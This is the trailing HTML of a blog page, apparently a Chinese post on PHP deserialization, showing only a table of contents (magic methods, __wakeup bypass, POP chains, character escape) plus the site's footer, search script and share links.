        <ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#1-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96"><span class="toc-text">1.反序列化</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#1-%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95"><span class="toc-text">1.魔术方法</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#sleep"><span class="toc-text">__sleep()</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#wakeup"><span class="toc-text">__wakeup()</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#toString-NaN"><span class="toc-text">__toString()</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#2-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AF%B9%E8%B1%A1%E6%B3%A8%E5%85%A5"><span class="toc-text">2.反序列化对象注入</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#1-%E7%BB%95%E8%BF%87-wakeup-%E6%96%B9%E6%B3%95"><span class="toc-text">1.绕过__wakeup()方法</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#3-POP%E9%93%BE%E6%9E%84%E9%80%A0"><span class="toc-text">3.POP链构造</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#1-POP%EF%BC%9A%E9%9D%A2%E5%90%91%E5%B1%9E%E6%80%A7%E7%BC%96%E7%A8%8B"><span class="toc-text">1.POP：面向属性编程</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#2-%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5"><span class="toc-text">2.基本概念</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#3-POP%E9%93%BE%E5%88%A9%E7%94%A8"><span class="toc-text">3.POP链利用</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#2-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%97%E7%AC%A6%E9%80%83%E9%80%B8"><span class="toc-text">2.反序列化字符逃逸</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%B8%80%E3%80%81%E6%9B%BF%E6%8D%A2%E5%90%8E%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%8F%98%E9%95%BF"><span class="toc-text">一、替换后序列化字符串变长</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BA%8C%E3%80%81%E6%9B%BF%E6%8D%A2%E4%B9%8B%E5%90%8E%E5%AF%BC%E8%87%B4%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%8F%98%E7%9F%AD"><span class="toc-text">二、替换之后导致序列化字符串变短</span></a></li></ol></li></ol>
      
    </div>
  </div>

  
<script src="/js/catalog.js"></script>




                                                                    
                                                                        <div class="comments-container">
                                                                            







                                                                        </div>
                                                                        
                                                            </div>
                                                            
        
<div class="footer">
  <div class="social">
    <ul>
      
        <li>
          <a title="github" target="_blank" rel="noopener" href="https://github.com/Ghostasky">
            <i class="iconfont icon-github"></i>
          </a>
        </li>
      
        <li>
          <a title="twitter" target="_blank" rel="noopener" href="https://twitter.com/ghostasky">
            <i class="iconfont icon-twitter"></i>
          </a>
        </li>
      
    </ul>
  </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/Ghostasky">怕什么真理无穷，进一寸有进一寸的欢喜。</a>
        
    </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/zchengsite/hexo-theme-oranges">Copyright © 2022 Oranges</a>
        
    </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/zchengsite/hexo-theme-oranges">Theme by Oranges | Powered by Hexo</a>
        
    </div>
  
</div>

      </div>

      <div class="tools-bar">
        <div class="back-to-top tools-bar-item hidden">
  <a href="javascript: void(0)">
    <i class="iconfont icon-chevronup"></i>
  </a>
</div>


<script src="/js/backtotop.js"></script>



        
  <div class="search-icon tools-bar-item" id="search-icon">
    <a href="javascript: void(0)">
      <i class="iconfont icon-search"></i>
    </a>
  </div>

  <div class="search-overlay hidden">
    <div class="search-content" tabindex="0">
      <div class="search-title">
        <span class="search-icon-input">
          <a href="javascript: void(0)">
            <i class="iconfont icon-search"></i>
          </a>
        </span>
        
          <input type="text" class="search-input" id="search-input" placeholder="Search...">
        
        <span class="search-close-icon" id="search-close-icon">
          <a href="javascript: void(0)">
            <i class="iconfont icon-close"></i>
          </a>
        </span>
      </div>
      <div class="search-result" id="search-result"></div>
    </div>
  </div>

  <script type="text/javascript">
    var inputArea = document.querySelector("#search-input")
    var searchOverlayArea = document.querySelector(".search-overlay")

    inputArea.onclick = function() {
      getSearchFile()
      this.onclick = null
    }

    inputArea.onkeydown = function() {
      if(event.keyCode == 13)
        return false
    }

    function openOrHideSearchContent() {
      let isHidden = searchOverlayArea.classList.contains('hidden')
      if (isHidden) {
        searchOverlayArea.classList.remove('hidden')
        document.body.classList.add('hidden')
        // inputArea.focus()
      } else {
        searchOverlayArea.classList.add('hidden')
        document.body.classList.remove('hidden')
      }
    }

    function blurSearchContent(e) {
      if (e.target === searchOverlayArea) {
        openOrHideSearchContent()
      }
    }

    document.querySelector("#search-icon").addEventListener("click", openOrHideSearchContent, false)
    document.querySelector("#search-close-icon").addEventListener("click", openOrHideSearchContent, false)
    searchOverlayArea.addEventListener("click", blurSearchContent, false)

    var searchFunc = function (path, search_id, content_id) {
      'use strict';
      var $input = document.getElementById(search_id);
      var $resultContent = document.getElementById(content_id);
      $resultContent.innerHTML = "<ul><span class='local-search-empty'>First search, index file loading, please wait...<span></ul>";
      $.ajax({
        // 0x01. load xml file
        url: path,
        dataType: "xml",
        success: function (xmlResponse) {
          // 0x02. parse xml file
          var datas = $("entry", xmlResponse).map(function () {
            return {
              title: $("title", this).text(),
              content: $("content", this).text(),
              url: $("url", this).text()
            };
          }).get();
          $resultContent.innerHTML = "";

          $input.addEventListener('input', function () {
            // 0x03. parse query to keywords list
            var str = '<ul class=\"search-result-list\">';
            var keywords = this.value.trim().toLowerCase().split(/[\s\-]+/);
            $resultContent.innerHTML = "";
            if (this.value.trim().length <= 0) {
              return;
            }
            // 0x04. perform local searching
            datas.forEach(function (data) {
              var isMatch = true;
              var content_index = [];
              if (!data.title || data.title.trim() === '') {
                data.title = "Untitled";
              }
              var orig_data_title = data.title.trim();
              var data_title = orig_data_title.toLowerCase();
              var orig_data_content = data.content.trim().replace(/<[^>]+>/g, "");
              var data_content = orig_data_content.toLowerCase();
              var data_url = data.url;
              var index_title = -1;
              var index_content = -1;
              var first_occur = -1;
              // only match artiles with not empty contents
              if (data_content !== '') {
                keywords.forEach(function (keyword, i) {
                  index_title = data_title.indexOf(keyword);
                  index_content = data_content.indexOf(keyword);

                  if (index_title < 0 && index_content < 0) {
                    isMatch = false;
                  } else {
                    if (index_content < 0) {
                      index_content = 0;
                    }
                    if (i == 0) {
                      first_occur = index_content;
                    }
                    // content_index.push({index_content:index_content, keyword_len:keyword_len});
                  }
                });
              } else {
                isMatch = false;
              }
              // 0x05. show search results
              if (isMatch) {
                str += "<li><a href='" + data_url + "' class='search-result-title'>" + orig_data_title + "</a>";
                var content = orig_data_content;
                if (first_occur >= 0) {
                  // cut out 100 characters
                  var start = first_occur - 20;
                  var end = first_occur + 80;

                  if (start < 0) {
                    start = 0;
                  }

                  if (start == 0) {
                    end = 100;
                  }

                  if (end > content.length) {
                    end = content.length;
                  }

                  var match_content = content.substr(start, end);

                  // highlight all keywords
                  keywords.forEach(function (keyword) {
                    var regS = new RegExp(keyword, "gi");
                    match_content = match_content.replace(regS, "<span class=\"search-keyword\">" + keyword + "</span>");
                  });

                  str += "<p class=\"search-result-abstract\">" + match_content + "...</p>"
                }
                str += "</li>";
              }
            });
            str += "</ul>";
            if (str.indexOf('<li>') === -1) {
              return $resultContent.innerHTML = "<ul><span class='local-search-empty'>No result<span></ul>";
            }
            $resultContent.innerHTML = str;
          });
        },
        error: function(xhr, status, error) {
          $resultContent.innerHTML = ""
          if (xhr.status === 404) {
            $resultContent.innerHTML = "<ul><span class='local-search-empty'>The search.xml file was not found, please refer to：<a href='https://github.com/zchengsite/hexo-theme-oranges#configuration' target='_black'>configuration</a><span></ul>";
          } else {
            $resultContent.innerHTML = "<ul><span class='local-search-empty'>The request failed, Try to refresh the page or try again later.<span></ul>";
          }
        }
      });
      $(document).on('click', '#search-close-icon', function() {
        $('#search-input').val('');
        $('#search-result').html('');
      });
    }

    var getSearchFile = function() {
        var path = "/search.xml";
        searchFunc(path, 'search-input', 'search-result');
    }
  </script>




        
  <div class="tools-bar-item theme-icon" id="switch-color-scheme">
    <a href="javascript: void(0)">
      <i id="theme-icon" class="iconfont icon-moon"></i>
    </a>
  </div>

  
<script src="/js/colorscheme.js"></script>





        
  
    <div class="share-icon tools-bar-item">
      <a href="javascript: void(0)" id="share-icon">
        <i class="iconfont iconshare"></i>
      </a>
      <div class="share-content hidden">
        
          <a class="share-item" href="https://twitter.com/intent/tweet?text=' + PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%95%B4%E7%90%86 + '&url=' + https%3A%2F%2Fghostasky.github.io%2F2021%2F10%2F05%2FPHP%25E5%258F%258D%25E5%25BA%258F%25E5%2588%2597%25E5%258C%2596%25E6%2595%25B4%25E7%2590%2586%2F + '" target="_blank" title="Twitter">
            <i class="iconfont icon-twitter"></i>
          </a>
        
        
          <a class="share-item" href="https://www.facebook.com/sharer.php?u=https://ghostasky.github.io/2021/10/05/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%95%B4%E7%90%86/" target="_blank" title="Facebook">
            <i class="iconfont icon-facebooksquare"></i>
          </a>
        
      </div>
    </div>
  
  
<script src="/js/shares.js"></script>



      </div>
    </div>
  </body>
</html>
